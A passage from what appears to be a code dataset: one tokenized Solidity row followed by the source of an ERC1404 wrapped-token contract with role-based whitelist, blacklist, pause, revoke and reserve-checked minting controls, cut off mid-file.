file_name
stringlengths 71
779k
| comments
stringlengths 20
182k
| code_string
stringlengths 20
36.9M
| __index_level_0__
int64 0
17.2M
| input_ids
list | attention_mask
list | labels
list |
---|---|---|---|---|---|---|
./partial_match/1/0xf43f8ca2a52574edd3A38D9aFf7552D4571302cE/sources/Doggies.sol
|
* @dev See {IERC721-balanceOf}./
|
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: address zero is not a valid owner");
return _balances[owner];
}
| 9,270,865 |
[
1,
9704,
288,
45,
654,
39,
27,
5340,
17,
12296,
951,
5496,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
11013,
951,
12,
2867,
3410,
13,
1071,
1476,
5024,
3849,
1135,
261,
11890,
5034,
13,
288,
203,
3639,
2583,
12,
8443,
480,
1758,
12,
20,
3631,
315,
654,
39,
27,
5340,
30,
1758,
3634,
353,
486,
279,
923,
3410,
8863,
203,
3639,
327,
389,
70,
26488,
63,
8443,
15533,
203,
565,
289,
203,
7010,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol";
import "@chainlink/contracts/src/v0.8/interfaces/AggregatorV3Interface.sol";
import "./ERC1404.sol";
import "./roles/OwnerRole.sol";
import "./capabilities/Proxiable.sol";
import "./capabilities/Burnable.sol";
import "./capabilities/Mintable.sol";
import "./capabilities/Pausable.sol";
import "./capabilities/Revocable.sol";
import "./capabilities/Blacklistable.sol";
import "./capabilities/Whitelistable.sol";
import "./capabilities/RevocableToAddress.sol";
/// @title Wrapped Token V1 Contract
/// @notice The role based access controls allow the Owner accounts to determine which permissions are granted to admin
/// accounts. Admin accounts can enable, disable, and configure the token restrictions built into the contract.
/// @dev This contract implements the ERC1404 Interface to add transfer restrictions to a standard ERC20 token.
contract WrappedTokenV1 is
Proxiable,
ERC20Upgradeable,
ERC1404,
OwnerRole,
Whitelistable,
Mintable,
Burnable,
Revocable,
Pausable,
Blacklistable,
RevocableToAddress
{
AggregatorV3Interface public reserveFeed;
// ERC1404 Error codes and messages
uint8 public constant SUCCESS_CODE = 0;
uint8 public constant FAILURE_NON_WHITELIST = 1;
uint8 public constant FAILURE_PAUSED = 2;
string public constant SUCCESS_MESSAGE = "SUCCESS";
string public constant FAILURE_NON_WHITELIST_MESSAGE =
"The transfer was restricted due to white list configuration.";
string public constant FAILURE_PAUSED_MESSAGE =
"The transfer was restricted due to the contract being paused.";
string public constant UNKNOWN_ERROR = "Unknown Error Code";
/// @notice The from/to account has been explicitly denied the ability to send/receive
uint8 public constant FAILURE_BLACKLIST = 3;
string public constant FAILURE_BLACKLIST_MESSAGE =
"Restricted due to blacklist";
event OracleAddressUpdated(address newAddress);
constructor(
string memory name,
string memory symbol,
AggregatorV3Interface resFeed
) {
initialize(msg.sender, name, symbol, 0, resFeed, true, false);
}
/// @notice This method can only be called once for a unique contract address
/// @dev Initialization for the token to set readable details and mint all tokens to the specified owner
/// @param owner Owner address for the contract
/// @param name Token name identifier
/// @param symbol Token symbol identifier
/// @param initialSupply Amount minted to the owner
/// @param resFeed oracle contract address
/// @param whitelistEnabled A boolean flag that enables token transfers to be white listed
/// @param flashMintEnabled A boolean flag that enables tokens to be flash minted
function initialize(
address owner,
string memory name,
string memory symbol,
uint256 initialSupply,
AggregatorV3Interface resFeed,
bool whitelistEnabled,
bool flashMintEnabled
) public initializer {
reserveFeed = resFeed;
ERC20Upgradeable.__ERC20_init(name, symbol);
Mintable._mint(msg.sender, owner, initialSupply);
OwnerRole._addOwner(owner);
Mintable._setFlashMintEnabled(flashMintEnabled);
Whitelistable._setWhitelistEnabled(whitelistEnabled);
Mintable._setFlashMintFeeReceiver(owner);
}
/// @dev Public function to update the address of the code contract
/// @param newAddress new implementation contract address
function updateCodeAddress(address newAddress) external onlyOwner {
Proxiable._updateCodeAddress(newAddress);
}
/// @dev Public function to update the address of the code oracle, retricted to owner
/// @param resFeed oracle contract address
function updateOracleAddress(AggregatorV3Interface resFeed)
external
onlyOwner
{
reserveFeed = resFeed;
mint(msg.sender, 0);
emit OracleAddressUpdated(address(reserveFeed));
}
/// @notice If the function returns SUCCESS_CODE (0) then it should be allowed
/// @dev Public function detects whether a transfer should be restricted and not allowed
/// @param from The sender of a token transfer
/// @param to The receiver of a token transfer
///
function detectTransferRestriction(
address from,
address to,
uint256
) public view override returns (uint8) {
// Restrictions are enabled, so verify the whitelist config allows the transfer.
// Logic defined in Blacklistable parent class
if (!checkBlacklistAllowed(from, to)) {
return FAILURE_BLACKLIST;
}
// Check the paused status of the contract
if (Pausable.paused()) {
return FAILURE_PAUSED;
}
// If an owner transferring, then ignore whitelist restrictions
if (OwnerRole.isOwner(from)) {
return SUCCESS_CODE;
}
// Restrictions are enabled, so verify the whitelist config allows the transfer.
// Logic defined in Whitelistable parent class
if (!checkWhitelistAllowed(from, to)) {
return FAILURE_NON_WHITELIST;
}
// If no restrictions were triggered return success
return SUCCESS_CODE;
}
/// @notice It should return enough information for the user to know why it failed.
/// @dev Public function allows a wallet or other client to get a human readable string to show a user if a transfer
/// was restricted.
/// @param restrictionCode The sender of a token transfer
function messageForTransferRestriction(uint8 restrictionCode)
public
pure
override
returns (string memory)
{
if (restrictionCode == FAILURE_BLACKLIST) {
return FAILURE_BLACKLIST_MESSAGE;
}
if (restrictionCode == SUCCESS_CODE) {
return SUCCESS_MESSAGE;
}
if (restrictionCode == FAILURE_NON_WHITELIST) {
return FAILURE_NON_WHITELIST_MESSAGE;
}
if (restrictionCode == FAILURE_PAUSED) {
return FAILURE_PAUSED_MESSAGE;
}
// An unknown error code was passed in.
return UNKNOWN_ERROR;
}
/// @dev Modifier that evaluates whether a transfer should be allowed or not
/// @param from The sender of a token transfer
/// @param to The receiver of a token transfer
/// @param value Quantity of tokens being exchanged between the sender and receiver
modifier notRestricted(
address from,
address to,
uint256 value
) {
uint8 restrictionCode = detectTransferRestriction(from, to, value);
require(
restrictionCode == SUCCESS_CODE,
messageForTransferRestriction(restrictionCode)
);
_;
}
/// @dev Public function that overrides the parent class token transfer function to enforce restrictions
/// @param to Receiver of the token transfer
/// @param value Amount of tokens to transfer
/// @return success Status of the transfer
function transfer(address to, uint256 value)
public
override
notRestricted(msg.sender, to, value)
returns (bool success)
{
success = ERC20Upgradeable.transfer(to, value);
}
/// @dev Public function that overrides the parent class token transferFrom function to enforce restrictions
/// @param from Sender of the token transfer
/// @param to Receiver of the token transfer
/// @param value Amount of tokens to transfer
/// @return success Status of the transfer
function transferFrom(
address from,
address to,
uint256 value
) public override notRestricted(from, to, value) returns (bool success) {
success = ERC20Upgradeable.transferFrom(from, to, value);
}
/// @dev Public function to recover all ether sent to this contract to an owner address
function withdraw() external onlyOwner {
payable(msg.sender).transfer(address(this).balance);
}
/// @dev Public function to recover all tokens sent to this contract to an owner address
/// @param token ERC20 that has a balance for this contract address
/// @return success Status of the transfer
function recover(IERC20Upgradeable token)
external
onlyOwner
returns (bool success)
{
success = token.transfer(msg.sender, token.balanceOf(address(this)));
}
/// @dev Allow Owners to mint tokens to valid addresses
/// @param account The account tokens will be added to
/// @param amount The number of tokens to add to a balance
function mint(address account, uint256 amount)
public
override
onlyMinter
returns (bool)
{
uint256 total = amount + ERC20Upgradeable.totalSupply();
(, int256 answer, , , ) = reserveFeed.latestRoundData();
uint256 decimals = ERC20Upgradeable.decimals();
uint256 reserveFeedDecimals = reserveFeed.decimals();
require(decimals >= reserveFeedDecimals, "invalid price feed decimals");
require(
(answer > 0) &&
(uint256(answer) * 10**uint256(decimals - reserveFeedDecimals) >
total),
"reserve must exceed the total supply"
);
return Mintable.mint(account, amount);
}
/// @dev Overrides the parent hook which is called ahead of `transfer` every time that method is called
/// @param from Sender of the token transfer
/// @param amount Amount of token being transferred
function _beforeTokenTransfer(
address from,
address,
uint256 amount
) internal view override {
if (from != address(0)) {
return;
}
require(
ERC20FlashMintUpgradeable.maxFlashLoan(address(this)) > amount,
"mint exceeds max allowed"
);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./OwnerRole.sol";
/// @title WhitelisterRole Contract
/// @notice Only administrators can update the white lister roles
/// @dev Keeps track of white listers and can check if an account is authorized
contract WhitelisterRole is OwnerRole {
event WhitelisterAdded(
address indexed addedWhitelister,
address indexed addedBy
);
event WhitelisterRemoved(
address indexed removedWhitelister,
address indexed removedBy
);
Role private _whitelisters;
/// @dev Modifier to make a function callable only when the caller is a white lister
modifier onlyWhitelister() {
require(
isWhitelister(msg.sender),
"WhitelisterRole: caller does not have the Whitelister role"
);
_;
}
/// @dev Public function returns `true` if `account` has been granted a white lister role
function isWhitelister(address account) public view returns (bool) {
return _has(_whitelisters, account);
}
/// @notice Only administrators should be allowed to update this
/// @dev Adds an address as a white lister
/// @param account The address that is guaranteed white lister authorization
function _addWhitelister(address account) internal {
_add(_whitelisters, account);
emit WhitelisterAdded(account, msg.sender);
}
/// @notice Only administrators should be allowed to update this
/// @dev Removes an account from being a white lister
/// @param account The address removed as a white lister
function _removeWhitelister(address account) internal {
_remove(_whitelisters, account);
emit WhitelisterRemoved(account, msg.sender);
}
/// @dev Public function that adds an address as a white lister
/// @param account The address that is guaranteed white lister authorization
function addWhitelister(address account) external onlyOwner {
_addWhitelister(account);
}
/// @dev Public function that removes an account from being a white lister
/// @param account The address removed as a white lister
function removeWhitelister(address account) external onlyOwner {
_removeWhitelister(account);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./OwnerRole.sol";
/// @title RevokerRole Contract
/// @notice Only administrators can update the revoker roles
/// @dev Keeps track of revokers and can check if an account is authorized
contract RevokerRole is OwnerRole {
event RevokerAdded(address indexed addedRevoker, address indexed addedBy);
event RevokerRemoved(
address indexed removedRevoker,
address indexed removedBy
);
Role private _revokers;
/// @dev Modifier to make a function callable only when the caller is a revoker
modifier onlyRevoker() {
require(
isRevoker(msg.sender),
"RevokerRole: caller does not have the Revoker role"
);
_;
}
/// @dev Public function returns `true` if `account` has been granted a revoker role
function isRevoker(address account) public view returns (bool) {
return _has(_revokers, account);
}
/// @notice Only administrators should be allowed to update this
/// @dev Adds an address as a revoker
/// @param account The address that is guaranteed revoker authorization
function _addRevoker(address account) internal {
_add(_revokers, account);
emit RevokerAdded(account, msg.sender);
}
/// @notice Only administrators should be allowed to update this
/// @dev Removes an account from being a revoker
/// @param account The address removed as a revoker
function _removeRevoker(address account) internal {
_remove(_revokers, account);
emit RevokerRemoved(account, msg.sender);
}
/// @dev Public function that adds an address as a revoker
/// @param account The address that is guaranteed revoker authorization
function addRevoker(address account) external onlyOwner {
_addRevoker(account);
}
/// @dev Public function that removes an account from being a revoker
/// @param account The address removed as a revoker
function removeRevoker(address account) external onlyOwner {
_removeRevoker(account);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./OwnerRole.sol";
/// @title PauserRole Contract
/// @notice Only administrators can update the pauser roles
/// @dev Keeps track of pausers and can check if an account is authorized
contract PauserRole is OwnerRole {
event PauserAdded(address indexed addedPauser, address indexed addedBy);
event PauserRemoved(
address indexed removedPauser,
address indexed removedBy
);
Role private _pausers;
/// @dev Modifier to make a function callable only when the caller is a pauser
modifier onlyPauser() {
require(
isPauser(msg.sender),
"PauserRole: caller does not have the Pauser role"
);
_;
}
/// @dev Public function returns `true` if `account` has been granted a pauser role
function isPauser(address account) public view returns (bool) {
return _has(_pausers, account);
}
/// @notice Only administrators should be allowed to update this
/// @dev Adds an address as a pauser
/// @param account The address that is guaranteed pauser authorization
function _addPauser(address account) internal {
_add(_pausers, account);
emit PauserAdded(account, msg.sender);
}
/// @notice Only administrators should be allowed to update this
/// @dev Removes an account from being a pauser
/// @param account The address removed as a pauser
function _removePauser(address account) internal {
_remove(_pausers, account);
emit PauserRemoved(account, msg.sender);
}
/// @dev Public function that adds an address as a pauser
/// @param account The address that is guaranteed pauser authorization
function addPauser(address account) external onlyOwner {
_addPauser(account);
}
/// @dev Public function that removes an account from being a pauser
/// @param account The address removed as a pauser
function removePauser(address account) external onlyOwner {
_removePauser(account);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title OwnerRole Contract
/// @notice Only administrators can update the owner roles
/// @dev Keeps track of owners and can check if an account is authorized
contract OwnerRole {
event OwnerAdded(address indexed addedOwner, address indexed addedBy);
event OwnerRemoved(address indexed removedOwner, address indexed removedBy);
struct Role {
mapping(address => bool) members;
}
Role private _owners;
/// @dev Modifier to make a function callable only when the caller is an owner
modifier onlyOwner() {
require(
isOwner(msg.sender),
"OwnerRole: caller does not have the Owner role"
);
_;
}
/// @dev Public function returns `true` if `account` has been granted an owner role
function isOwner(address account) public view returns (bool) {
return _has(_owners, account);
}
/// @dev Public function that adds an address as an owner
/// @param account The address that is guaranteed owner authorization
function addOwner(address account) external onlyOwner {
_addOwner(account);
}
/// @dev Public function that removes an account from being an owner
/// @param account The address removed as a owner
function removeOwner(address account) external onlyOwner {
_removeOwner(account);
}
/// @notice Only administrators should be allowed to update this
/// @dev Adds an address as an owner
/// @param account The address that is guaranteed owner authorization
function _addOwner(address account) internal {
_add(_owners, account);
emit OwnerAdded(account, msg.sender);
}
/// @notice Only administrators should be allowed to update this
/// @dev Removes an account from being an owner
/// @param account The address removed as an owner
function _removeOwner(address account) internal {
_remove(_owners, account);
emit OwnerRemoved(account, msg.sender);
}
/// @notice Only administrators should be allowed to update this
/// @dev Give an account access to this role
/// @param role All authorizations for the contract
/// @param account The address that is guaranteed owner authorization
function _add(Role storage role, address account) internal {
require(account != address(0x0), "Invalid 0x0 address");
require(!_has(role, account), "Roles: account already has role");
role.members[account] = true;
}
/// @notice Only administrators should be allowed to update this
/// @dev Remove an account's access to this role
/// @param role All authorizations for the contract
/// @param account The address that is guaranteed owner authorization
function _remove(Role storage role, address account) internal {
require(_has(role, account), "Roles: account does not have role");
role.members[account] = false;
}
/// @dev Check if an account is in the set of roles
/// @param role All authorizations for the contract
/// @param account The address that is guaranteed owner authorization
/// @return boolean
function _has(Role storage role, address account)
internal
view
returns (bool)
{
require(account != address(0), "Roles: account is the zero address");
return role.members[account];
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./OwnerRole.sol";
/// @title MinterRole Contract
/// @notice Only administrators can update the minter roles
/// @dev Keeps track of minters and can check if an account is authorized
contract MinterRole is OwnerRole {
event MinterAdded(address indexed addedMinter, address indexed addedBy);
event MinterRemoved(
address indexed removedMinter,
address indexed removedBy
);
Role private _minters;
/// @dev Modifier to make a function callable only when the caller is a minter
modifier onlyMinter() {
require(
isMinter(msg.sender),
"MinterRole: caller does not have the Minter role"
);
_;
}
/// @dev Public function returns `true` if `account` has been granted a minter role
function isMinter(address account) public view returns (bool) {
return _has(_minters, account);
}
/// @notice Only administrators should be allowed to update this
/// @dev Adds an address as a minter
/// @param account The address that is guaranteed minter authorization
function _addMinter(address account) internal {
_add(_minters, account);
emit MinterAdded(account, msg.sender);
}
/// @notice Only administrators should be allowed to update this
/// @dev Removes an account from being a minter
/// @param account The address removed as a minter
function _removeMinter(address account) internal {
_remove(_minters, account);
emit MinterRemoved(account, msg.sender);
}
/// @dev Public function that adds an address as a minter
/// @param account The address that is guaranteed minter authorization
function addMinter(address account) external onlyOwner {
_addMinter(account);
}
/// @dev Public function that removes an account from being a minter
/// @param account The address removed as a minter
function removeMinter(address account) external onlyOwner {
_removeMinter(account);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./OwnerRole.sol";
/// @title BurnerRole Contract
/// @notice Only administrators can update the burner roles
/// @dev Keeps track of burners and can check if an account is authorized
contract BurnerRole is OwnerRole {
event BurnerAdded(address indexed addedBurner, address indexed addedBy);
event BurnerRemoved(
address indexed removedBurner,
address indexed removedBy
);
Role private _burners;
/// @dev Modifier to make a function callable only when the caller is a burner
modifier onlyBurner() {
require(
isBurner(msg.sender),
"BurnerRole: caller does not have the Burner role"
);
_;
}
/// @dev Public function returns `true` if `account` has been granted a burner role
function isBurner(address account) public view returns (bool) {
return _has(_burners, account);
}
/// @notice Only administrators should be allowed to update this
/// @dev Adds an address as a burner
/// @param account The address that is guaranteed burner authorization
function _addBurner(address account) internal {
_add(_burners, account);
emit BurnerAdded(account, msg.sender);
}
/// @notice Only administrators should be allowed to update this
/// @dev Removes an account from being a burner
/// @param account The address removed as a burner
function _removeBurner(address account) internal {
_remove(_burners, account);
emit BurnerRemoved(account, msg.sender);
}
/// @dev Public function that adds an address as a burner
/// @param account The address that is guaranteed burner authorization
function addBurner(address account) external onlyOwner {
_addBurner(account);
}
/// @dev Public function that removes an account from being a burner
/// @param account The address removed as a burner
function removeBurner(address account) external onlyOwner {
_removeBurner(account);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./OwnerRole.sol";
/// @title BlacklisterRole Contract
/// @notice Only administrators can update the black lister roles
/// @dev Keeps track of black listers and can check if an account is authorized
contract BlacklisterRole is OwnerRole {
event BlacklisterAdded(
address indexed addedBlacklister,
address indexed addedBy
);
event BlacklisterRemoved(
address indexed removedBlacklister,
address indexed removedBy
);
Role private _Blacklisters;
/// @dev Modifier to make a function callable only when the caller is a black lister
modifier onlyBlacklister() {
require(isBlacklister(msg.sender), "BlacklisterRole missing");
_;
}
/// @dev Public function returns `true` if `account` has been granted a black lister role
function isBlacklister(address account) public view returns (bool) {
return _has(_Blacklisters, account);
}
/// @notice Only administrators should be allowed to update this
/// @dev Adds an address as a black lister
/// @param account The address that is guaranteed black lister authorization
function _addBlacklister(address account) internal {
_add(_Blacklisters, account);
emit BlacklisterAdded(account, msg.sender);
}
/// @notice Only administrators should be allowed to update this
/// @dev Removes an account from being a black lister
/// @param account The address removed as a black lister
function _removeBlacklister(address account) internal {
_remove(_Blacklisters, account);
emit BlacklisterRemoved(account, msg.sender);
}
/// @dev Public function that adds an address as a black lister
/// @param account The address that is guaranteed black lister authorization
function addBlacklister(address account) external onlyOwner {
_addBlacklister(account);
}
/// @dev Public function that removes an account from being a black lister
/// @param account The address removed as a black lister
function removeBlacklister(address account) external onlyOwner {
_removeBlacklister(account);
}
uint256[49] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../roles/WhitelisterRole.sol";
/// @title Whitelistable Contract
/// @notice Only administrators can update the white lists, and any address can only be a member of one whitelist at a
/// time
/// @dev Keeps track of white lists and can check if sender and reciever are configured to allow a transfer
contract Whitelistable is WhitelisterRole {
// The mapping to keep track of which whitelist any address belongs to.
// 0 is reserved for no whitelist and is the default for all addresses.
mapping(address => uint8) public addressWhitelists;
// The mapping to keep track of each whitelist's outbound whitelist flags.
// Boolean flag indicates whether outbound transfers are enabled.
mapping(uint8 => mapping(uint8 => bool)) public outboundWhitelistsEnabled;
// Track whether whitelisting is enabled
bool public isWhitelistEnabled;
// Zero is reserved for indicating it is not on a whitelist
uint8 constant NO_WHITELIST = 0;
// Events to allow tracking add/remove.
event AddressAddedToWhitelist(
address indexed addedAddress,
uint8 indexed whitelist,
address indexed addedBy
);
event AddressRemovedFromWhitelist(
address indexed removedAddress,
uint8 indexed whitelist,
address indexed removedBy
);
event OutboundWhitelistUpdated(
address indexed updatedBy,
uint8 indexed sourceWhitelist,
uint8 indexed destinationWhitelist,
bool from,
bool to
);
event WhitelistEnabledUpdated(
address indexed updatedBy,
bool indexed enabled
);
/// @notice Only administrators should be allowed to update this
/// @dev Enable or disable the whitelist enforcement
/// @param enabled A boolean flag that enables token transfers to be white listed
function _setWhitelistEnabled(bool enabled) internal {
isWhitelistEnabled = enabled;
emit WhitelistEnabledUpdated(msg.sender, enabled);
}
/// @notice Only administrators should be allowed to update this. If an address is on an existing whitelist, it will
/// just get updated to the new value (removed from previous)
/// @dev Sets an address's white list ID.
/// @param addressToAdd The address added to a whitelist
/// @param whitelist Number identifier for the whitelist the address is being added to
function _addToWhitelist(address addressToAdd, uint8 whitelist) internal {
// Verify a valid address was passed in
require(
addressToAdd != address(0),
"Cannot add address 0x0 to a whitelist."
);
// Verify the whitelist is valid
require(whitelist != NO_WHITELIST, "Invalid whitelist ID supplied");
// Save off the previous white list
uint8 previousWhitelist = addressWhitelists[addressToAdd];
// Set the address's white list ID
addressWhitelists[addressToAdd] = whitelist;
// If the previous whitelist existed then we want to indicate it has been removed
if (previousWhitelist != NO_WHITELIST) {
// Emit the event for tracking
emit AddressRemovedFromWhitelist(
addressToAdd,
previousWhitelist,
msg.sender
);
}
// Emit the event for new whitelist
emit AddressAddedToWhitelist(addressToAdd, whitelist, msg.sender);
}
/// @notice Only administrators should be allowed to update this
/// @dev Clears out an address's white list ID
/// @param addressToRemove The address removed from a white list
function _removeFromWhitelist(address addressToRemove) internal {
// Verify a valid address was passed in
require(
addressToRemove != address(0),
"Cannot remove address 0x0 from a whitelist."
);
// Save off the previous white list
uint8 previousWhitelist = addressWhitelists[addressToRemove];
// Verify the address was actually on a whitelist
require(
previousWhitelist != NO_WHITELIST,
"Address cannot be removed from invalid whitelist."
);
// Zero out the previous white list
addressWhitelists[addressToRemove] = NO_WHITELIST;
// Emit the event for tracking
emit AddressRemovedFromWhitelist(
addressToRemove,
previousWhitelist,
msg.sender
);
}
/// @notice Only administrators should be allowed to update this
/// @dev Sets the flag to indicate whether source whitelist is allowed to send to destination whitelist
/// @param sourceWhitelist The white list of the sender
/// @param destinationWhitelist The white list of the receiver
/// @param newEnabledValue A boolean flag that enables token transfers between white lists
function _updateOutboundWhitelistEnabled(
uint8 sourceWhitelist,
uint8 destinationWhitelist,
bool newEnabledValue
) internal {
// Get the old enabled flag
bool oldEnabledValue = outboundWhitelistsEnabled[sourceWhitelist][
destinationWhitelist
];
// Update to the new value
outboundWhitelistsEnabled[sourceWhitelist][
destinationWhitelist
] = newEnabledValue;
// Emit event for tracking
emit OutboundWhitelistUpdated(
msg.sender,
sourceWhitelist,
destinationWhitelist,
oldEnabledValue,
newEnabledValue
);
}
/// @notice The source whitelist must be enabled to send to the whitelist where the receive exists
/// @dev Determine if the a sender is allowed to send to the receiver
/// @param sender The address of the sender
/// @param receiver The address of the receiver
function checkWhitelistAllowed(address sender, address receiver)
public
view
returns (bool)
{
// If whitelist enforcement is not enabled, then allow all
if (!isWhitelistEnabled) {
return true;
}
// First get each address white list
uint8 senderWhiteList = addressWhitelists[sender];
uint8 receiverWhiteList = addressWhitelists[receiver];
// If either address is not on a white list then the check should fail
if (
senderWhiteList == NO_WHITELIST || receiverWhiteList == NO_WHITELIST
) {
return false;
}
// Determine if the sending whitelist is allowed to send to the destination whitelist
return outboundWhitelistsEnabled[senderWhiteList][receiverWhiteList];
}
/// @dev Public function that enables or disables the white list enforcement
/// @param enabled A boolean flag that enables token transfers to be whitelisted
function setWhitelistEnabled(bool enabled) external onlyOwner {
_setWhitelistEnabled(enabled);
}
/// @notice If an address is on an existing whitelist, it will just get updated to the new value (removed from
/// previous)
/// @dev Public function that sets an address's white list ID
/// @param addressToAdd The address added to a whitelist
/// @param whitelist Number identifier for the whitelist the address is being added to
function addToWhitelist(address addressToAdd, uint8 whitelist)
external
onlyWhitelister
{
_addToWhitelist(addressToAdd, whitelist);
}
/// @dev Public function that clears out an address's white list ID
/// @param addressToRemove The address removed from a white list
function removeFromWhitelist(address addressToRemove)
external
onlyWhitelister
{
_removeFromWhitelist(addressToRemove);
}
/// @dev Public function that sets the flag to indicate whether source white list is allowed to send to destination
/// white list
/// @param sourceWhitelist The white list of the sender
/// @param destinationWhitelist The white list of the receiver
/// @param newEnabledValue A boolean flag that enables token transfers between white lists
function updateOutboundWhitelistEnabled(
uint8 sourceWhitelist,
uint8 destinationWhitelist,
bool newEnabledValue
) external onlyWhitelister {
_updateOutboundWhitelistEnabled(
sourceWhitelist,
destinationWhitelist,
newEnabledValue
);
}
uint256[47] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "../roles/RevokerRole.sol";
/// @title RevocableToAddress Contract
/// @notice Only administrators can revoke tokens to an address
/// @dev Enables reducing a balance by transfering tokens to an address
contract RevocableToAddress is ERC20Upgradeable, RevokerRole {
event RevokeToAddress(
address indexed revoker,
address indexed from,
address indexed to,
uint256 amount
);
/// @notice Only administrators should be allowed to revoke on behalf of another account
/// @dev Revoke a quantity of token in an account, reducing the balance
/// @param from The account tokens will be deducted from
/// @param to The account revoked token will be transferred to
/// @param amount The number of tokens to remove from a balance
function _revokeToAddress(
address from,
address to,
uint256 amount
) internal returns (bool) {
ERC20Upgradeable._transfer(from, to, amount);
emit RevokeToAddress(msg.sender, from, to, amount);
return true;
}
/**
Allow Admins to revoke tokens from any address to any destination
*/
/// @notice Only administrators should be allowed to revoke on behalf of another account
/// @dev Revoke a quantity of token in an account, reducing the balance
/// @param from The account tokens will be deducted from
/// @param amount The number of tokens to remove from a balance
function revokeToAddress(
address from,
address to,
uint256 amount
) external onlyRevoker returns (bool) {
return _revokeToAddress(from, to, amount);
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts-upgradeable/token/ERC20/ERC20Upgradeable.sol";
import "../roles/RevokerRole.sol";
/// @title Revocable Contract
/// @notice Only administrators can revoke tokens
/// @dev Enables reducing a balance by transfering tokens to the caller
contract Revocable is ERC20Upgradeable, RevokerRole {
event Revoke(address indexed revoker, address indexed from, uint256 amount);
/// @notice Only administrators should be allowed to revoke on behalf of another account
/// @dev Revoke a quantity of token in an account, reducing the balance
/// @param from The account tokens will be deducted from
/// @param amount The number of tokens to remove from a balance
function _revoke(address from, uint256 amount) internal returns (bool) {
ERC20Upgradeable._transfer(from, msg.sender, amount);
emit Revoke(msg.sender, from, amount);
return true;
}
/// @dev Allow Revokers to revoke tokens for addresses
/// @param from The account tokens will be deducted from
/// @param amount The number of tokens to remove from a balance
function revoke(address from, uint256 amount)
external
onlyRevoker
returns (bool)
{
return _revoke(from, amount);
}
uint256[50] private __gap;
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract Proxiable {
